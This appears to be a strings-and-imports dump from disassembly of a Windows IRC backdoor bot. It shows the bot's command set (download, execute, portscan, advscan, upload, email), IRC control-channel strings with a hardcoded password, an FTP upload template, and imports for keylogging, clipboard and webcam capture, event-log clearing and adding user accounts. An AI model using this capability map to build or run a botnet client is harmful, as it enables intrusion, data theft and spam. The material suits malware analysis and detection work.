	"c_join"
	"c_j"
	"c_part"
	"c_p"
	"update"
	"up"
	"execute"
	"e"
	"findfile"
	"ff"
	"rename"
	"mv"
	"clone"
	"c"
	"download"
	"dl"
	"redirect"
	"rd"
	"scan"
	"sc"
	"c_privmsg"
	"c_pm"
	"c_action"
	"c_a"
	"portscan"
	"psc"
	"advscan"
	"asc"
	"netsend"
	"ns"
	"email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"httpcon"
	"hcon"
	"upload"
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"#xp"
	"Sequential"
	"Jav0"
	"PART	%s"
	"%s\r\n"
	"JOIN %s %s"
	"%s\r\n"
	"NICK	%s"
	"%s\r\n"
	"332"
	"PART	%s\r\n"
	"JOIN %s %s\r\n"
	"NICK	%s\r\n"
	"!~"
	"_A159753AcDb"
	"NOTICE %s :Pass auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"NOTICE %s :Host Auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"_A159753AcDb"
	"USERHOST %s\r\n"
	"-x+i"
	"MODE	%s %s\r\n"
	"JOIN %s %s\r\n"

sub_427D30(a7d8):
	KERNEL32.GetModuleFileNameA

	"C:\\m_unpacker\\packed.exe"
	"C:\\m_unpacker\\packed.exe"

sub_414C86(a8ec):
	WININET.InternetCrackUrlA
	WININET.InternetConnectA
	WININET.HttpOpenRequestA
	WININET.HttpSendRequestA
	WININET.InternetCloseHandle
	KERNEL32.ExitThread

sub_412307(a9bc):
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle

sub_4076E5(aaa2):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	DNSAPI.DnsFlushResolverCache
	NTDLL.RtlGetLastWin32Error
	KERNEL32.LoadLibraryA
	WININET.InternetOpenA

	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"GetAsyncKeyState"
	"GetKeyState"
	"GetWindowTextA"
	"GetForegroundWindow"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"ClearEventLogA"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"NetWkstaGetInfo"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
	"avicap32.dll"
	"capCreateCaptureWindowA"
	"capGetDriverDescriptionA"

sub_4083A1(ac3c):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"Avicap32.dll failed. <%d>"

sub_408766(ac8a):
	WS2_32.inet_addr
	WS2_32.gethostbyname

sub_4294B0(ad38):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection

	"osfinfo.c"

sub_42A550(adf0):
	KERNEL32.SetUnhandledExceptionFilter

sub_401300(af91):
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess

sub_42DAD0(af9d):
	KERNEL32.EnumSystemLocalesA

sub_4127F8(afa1):
	KERNEL32.MultiByteToWideChar

sub_417CB0(afb7):
	"string !=	NULL"
	"sprintf.c"
	"format !=	NULL"
	"sprintf.c"

sub_40E08D(b203):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n